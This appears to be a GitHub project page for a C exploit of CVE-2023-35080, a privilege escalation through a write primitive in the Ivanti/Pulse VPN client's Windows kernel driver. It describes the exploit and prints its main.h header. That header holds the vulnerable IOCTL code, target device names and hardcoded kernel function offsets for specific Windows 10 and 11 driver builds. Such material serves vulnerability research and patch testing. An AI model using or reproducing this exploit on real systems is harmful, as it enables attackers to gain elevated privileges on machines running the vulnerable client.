/Ivanti-Pulse_VPN-Client_Exploit-CVE-2023-35080_Privilege-escalation

Primary LanguageC

Ivanti/Pulse VPN Client Exploit of CVE-2023-35080 leading to a privilege escalation

Code related to the exploitation of the CVE-2023-35080 which leverages a write primitive in the Ivanti/Pulse VPN client kernel driver in Windows. The write primitive conducts to a privilege escalation.

The exploit was built with the help of the technical details shared in the following article : https://northwave-cybersecurity.com/ivanti-pulse-vpn-privilege-escalation.

Some details are hardcoded under the main.h file :

#pragma once

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <winternl.h>


#define VULN_IOCTL  0x80002018

////////

/*
 * jnprTdi_9115_15819 W10
 */

 // #define DEVICE_NAME_W L"jnprTdi_9115_15819"

 // // KxWaitForSpinLockAndAcquire
 // #define SPIN_OFFSET 0x300ea0

 // // KxTryToAcquireSpinLock
 // #define TRY_SPIN_OFFSET 0x361758

 // // void write_char(byte param_1,byte **param_2,int *param_3)
 // #define WRITE_CHAR_OFFSET 0x3d5878

 ////////

 /*
  * jnprTdi_9117_18209 W11
  */

#define DEVICE_NAME_W L"jnprTdi_9117_18209"

  // KxWaitForSpinLockAndAcquire 
#define SPIN_OFFSET 0x300e9e

// KxTryToAcquireSpinLock
#define TRY_SPIN_OFFSET 0x361757

// void write_char(byte param_1,byte **param_2,int *param_3)
#define WRITE_CHAR_OFFSET 0x3d93f8

////////

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